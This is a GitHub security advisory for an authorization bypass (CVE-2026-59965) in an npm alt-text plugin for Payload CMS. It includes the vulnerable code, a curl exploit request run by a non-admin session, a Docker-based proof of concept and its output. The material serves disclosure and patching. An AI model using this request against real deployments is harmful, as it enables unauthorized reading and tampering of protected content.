GitHub Advisoryadvisory · npm
GHSA-4qpv-39hg-f7fx @jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission
HIGH
Official page ↗
- Aliases
- CVE-2026-59965
- Ecosystem
- npm
- Packages
- @jhb.software/payload-alt-text-plugin
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
- Weaknesses
- CWE-863
- Reviewed
- 2026-09-10
Affected packages
• npm @jhb.software/payload-alt-text-plugin: < 0.8.0 → fixed in 0.8.0
Description
Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission
Summary
`@jhb.software/payload-alt-text-plugin` v0.7.0 exposes custom Payload CMS endpoints (`POST /api/alt-text-plugin/generate` and `/bulk`) that call the Payload Local API (`findByID` and `update`) without setting `overrideAccess: false`. Because Payload's internal logic evaluates `shouldOverrideAccess = overrideAccess !== false`, omitting the parameter causes it to default to `true`, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the `alt` and `keywords` fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated High (CVSS 7.1).
Details
The plugin registers two network endpoints in `alt-text/src/plugin.ts:179-186`. Their default access guard (`plugin.ts:55`) only checks `!!req.user`, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.
The endpoint handler at `alt-text/src/endpoints/generateAltText.ts` accepts user-controlled `id`, `collection`, `locale`, and `update` fields from the request body (`line 29`), then passes them directly to two unsecured Local API calls:
Read bypass (`generateAltText.ts:31`):
```typescript
const imageDoc = await req.payload.findByID({
id,
collection,
depth: 0,
// overrideAccess: false is absent → defaults to true
})
```
Write bypass (`generateAltText.ts:121`):
```typescript
await req.payload.update({
id,
collection,
data: {
alt: result.result.altText,
keywords: result.result.keywords,
},
locale: targetLocale,
// overrideAccess: false is absent → defaults to true
})
```
The bulk endpoint (`alt-text/src/endpoints/bulkGenerateAltTexts.ts`) repeats the same pattern at lines `120` (read) and `170` (write).
Payload's internal resolution of `overrideAccess` is:
```
shouldOverrideAccess = overrideAccess !== false
// undefined !== false → true → collection access function is never called
```
Because the collection-level `read` and `update` access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.
PoC
Environment setup:
1. Clone the repository and install `@jhb.software/[email protected]` into a Payload v3 project.
2. Configure an upload collection named `media` with `read` and `update` access restricted to users with `role: "admin"`.
3. Configure the plugin with `collections: ["media"]` and a resolver that returns `{ success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }`.
4. As an admin, create a media document (e.g., ID `doc-001`) with `alt = "original safe alt text"`.
5. Obtain a session token for a non-admin user (`role: "user"`).
Build and run the dynamic PoC (Docker):
```bash
Build
docker build -t vuln001-poc -f vuln-001/Dockerfile .
Run
docker run --rm vuln001-poc
```
Exploit request:
```bash
curl -i -b "payload-token=" \
-H "Content-Type: application/json" \
-X POST http://localhost:3000/api/alt-text-plugin/generate \
--data '{"collection":"media","id":"doc-001","locale":"en","update":true}'
```
Expected result:
• HTTP 200 is returned.
• The response body contains `"altText": "PWNED_BY_EXPLOIT"`.
• A subsequent admin read of `media/doc-001` confirms `alt = "PWNED_BY_EXPLOIT"` and `keywords = ["hacked", "bypass"]`, despite the collection's update access being restricted to admins.
Control verification (confirms the bypass is real, not a misconfiguration):
A direct Local API call with `overrideAccess: false` by the same non-admin user throws `AccessError: update denied for collection "media" (user role: user)`, proving that the access rule is correct and the plugin endpoint is the vector.
Dynamic reproduction output (Phase 2 confirmed):
```
VULN-001: Alt Text endpoint authorization bypass
Payload Local API overrideAccess omission in
generateAltText.ts:31 and :121
[Step 1] Control: non-admin direct update with overrideAccess:false
PASS: access correctly denied → AccessError
[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate
HTTP status : 200
Response : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}
VULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL
```
Impact
This is an Incorrect Authorization vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can:
1. Read the content of arbitrary upload documents that collection access rules would otherwise deny them.
2. Overwrite the `alt` text and `keywords` fields on those documents, effectively performing unauthorized content modification.
Operators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.
Reproduction artifacts
`Dockerfile`
```dockerfile
Dockerfile for VULN-001 dynamic reproduction
Build context: the parent directory that contains both
repo/ (jhb-software/payload-plugins clone)
vuln-001/ (this workspace)
Build: docker build -t vuln001-poc -f vuln-001/Dockerfile .
Run: docker run --rm vuln001-poc
FROM node:22-slim
WORKDIR /app
---- Copy plugin source files required by the PoC ----
Only the endpoint under test and its direct dependencies are needed.
No Payload framework install required: we mock it in the PoC.
COPY repo/alt-text/src/endpoints/generateAltText.ts ./plugin/src/endpoints/generateAltText.ts
COPY repo/alt-text/src/endpoints/schemas.ts ./plugin/src/endpoints/schemas.ts
COPY repo/alt-text/src/utilities/mimeTypes.ts ./plugin/src/utilities/mimeTypes.ts
COPY repo/alt-text/src/types/AltTextPluginConfig.ts ./plugin/src/types/AltTextPluginConfig.ts
COPY repo/alt-text/src/resolvers/types.ts ./plugin/src/resolvers/types.ts
---- Copy PoC files ----
COPY vuln-001/package_inner.json ./package.json
COPY vuln-001/inner_poc.ts ./inner_poc.ts
---- Install minimal runtime dependencies ----
zod: schema validation used by the endpoint handler
tsx: TypeScript executor that handles .js→.ts extension mapping
RUN npm install --no-audit --no-fund
---- Run the PoC ----
CMD ["node_modules/.bin/tsx", "inner_poc.ts"]
```
`poc.py`
```python
!/usr/bin/env python3
"""
poc.py — VULN-001 Dynamic Reproduction Orchestrator
Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0
Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission
CWE: CWE-863 (Incorrect Authorization)
This script:
1. Builds a Docker image containing the real plugin endpoint source.
2. Runs the container, which calls the endpoint handler with a non-admin user.
3. Captures stdout/stderr as evidence.
4. Writes the result to phase2_result.json.
Usage:
python3 poc.py
Safety:
• All traffic stays on 127.0.0.1 / localhost inside Docker.
• No external services are contacted.
• No live credentials are used.
"""
import json
import os
import subprocess
import sys
---------------------------------------------------------------------------
Paths
---------------------------------------------------------------------------
THIS_DIR = os.path.dirname(os.path.abspath(__file__))
Build context: parent directory that contains both repo/ and vuln-001/
BUILD_CONTEXT = os.path.dirname(THIS_DIR)
DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile")
IMAGE_TAG = "vuln001-poc"
RESULT_FILE = os.path.join(THIS_DIR, "phase2_result.json")
BUILD_COMMAND = f"docker …
Related
Alias · CVE (1)
- CVE-2026-59965 Payload Plugins is a collection of plugins designed to enhance Payload CMS. vulnerability
Weakness · CWE (1)
- CWE-863 Incorrect Authorization weakness
References
- https://github.com/jhb-software/payload-plugins/security/advisories/GHSA-4qpv-39hg-f7fx web
- https://nvd.nist.gov/vuln/detail/CVE-2026-59965 advisory
- https://github.com/jhb-software/payload-plugins/pull/159 web
- https://github.com/jhb-software/payload-plugins/commit/e39634868ce13a414e2981e219befc58101654d3 web
- https://github.com/jhb-software/payload-plugins package
- https://github.com/jhb-software/payload-plugins/releases/tag/[email protected] web